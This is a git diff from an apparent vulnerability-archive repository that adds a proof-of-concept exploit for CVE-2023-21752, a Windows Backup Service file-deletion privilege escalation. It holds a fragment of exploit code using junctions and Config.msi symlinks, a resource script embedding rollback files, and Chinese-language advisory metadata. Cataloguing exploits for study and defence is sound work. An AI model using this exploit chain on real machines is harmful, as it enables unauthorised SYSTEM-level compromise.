DeleteJunction(hDir);
|
||||
DelDosDeviceSymLink(object, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION");
|
||||
exit(1);
|
||||
}
|
|
@ -0,0 +1,17 @@
|
|||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by FolderOrFileDeleteToSystem.rc
|
||||
//
|
||||
#define IDR_RBS1 101
|
||||
#define IDR_MSI1 102
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 107
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
|
@ -0,0 +1,75 @@
|
|||
// Microsoft Visual C++ generated resource script.
|
||||
//
|
||||
#include "resource.h"
|
||||
|
||||
#define APSTUDIO_READONLY_SYMBOLS
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "winres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// English (United Kingdom) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG)
|
||||
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK
|
||||
#pragma code_page(1252)
|
||||
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// TEXTINCLUDE
|
||||
//
|
||||
|
||||
1 TEXTINCLUDE
|
||||
BEGIN
|
||||
"resource.h\0"
|
||||
END
|
||||
|
||||
2 TEXTINCLUDE
|
||||
BEGIN
|
||||
"#include ""winres.h""\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
3 TEXTINCLUDE
|
||||
BEGIN
|
||||
"\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// RBS
|
||||
//
|
||||
|
||||
IDR_RBS1 RBS "cmd.rbs"
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// MSI
|
||||
//
|
||||
|
||||
IDR_MSI1 MSI "Msi_Rollback.msi"
|
||||
|
||||
#endif // English (United Kingdom) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
#ifndef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 3 resource.
|
||||
//
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#endif // not APSTUDIO_INVOKED
|
|
@ -0,0 +1,40 @@
|
|||
id: CVE-2023-21752
|
||||
source: https://github.com/Wh04m1001/CVE-2023-21752
|
||||
info:
|
||||
name: Windows备份服务为计算机提供备份和还原的功能。它依赖于Microsoft Windows备份引擎,提供了备份和还原的基本功能,例如备份系统镜像、文件、文件夹和应用程序数据等。
|
||||
severity: high
|
||||
description: CVE-2023-21752微软在2023年1月份修复的一个位于Windows备份服务中的任意文件删除漏洞。由于Windows备份引擎在文件夹权限验证时处理不当,攻击者可构造恶意代码实现任意文件删除,进而导致特权提升。
|
||||
scope-of-influence:
|
||||
Windows 7 for 32-bit Systems Service Pack 1
|
||||
Windows 10 for 32-bit Systems
|
||||
Windows 10 Version 1607 for x64-based Systems
|
||||
Windows 10 for x64-based Systems
|
||||
Windows 7 for x64-based Systems Service Pack 1
|
||||
Windows 10 Version 1809 for x64-based Systems
|
||||
Windows 10 Version 1607 for 32-bit Systems
|
||||
Windows 10 Version 1809 for ARM64-based Systems
|
||||
Windows 10 Version 1809 for 32-bit Systems
|
||||
Windows 10 Version 20H2 for ARM64-based Systems
|
||||
Windows 10 Version 20H2 for 32-bit Systems
|
||||
Windows 10 Version 20H2 for x64-based Systems
|
||||
Windows 11 Version 22H2 for x64-based Systems
|
||||
Windows 10 Version 21H2 for x64-based Systems
|
||||
Windows 10 Version 22H2 for x64-based Systems
|
||||
Windows 10 Version 21H2 for 32-bit Systems
|
||||
Windows 11 version 21H2 for ARM64-based Systems
|
||||
Windows 11 version 21H2 for x64-based Systems
|
||||
Windows 10 Version 21H2 for ARM64-based Systems
|
||||
Windows 10 Version 22H2 for 32-bit Systems
|
||||
Windows 11 Version 22H2 for ARM64-based Systems
|
||||
Windows 10 Version 22H2 for ARM64-based Systems
|
||||
reference:
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2023-21752
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
|
||||
cvss-score: 7.1
|
||||
cve-id: CVE-2023-21752
|
||||
cwe-id: NVD-CWE-noinfo
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: Windows
|
|
@ -68,4 +68,6 @@ cve:
|
|||
- CVE-2023-23488
|
||||
zimbra:
|
||||
- CVE-2022-41352
|
||||
Windows Backup Service:
|
||||
- CVE-2023-21752
|
||||
cnvd:
|
||||
|
|
Loading…
Reference in New Issue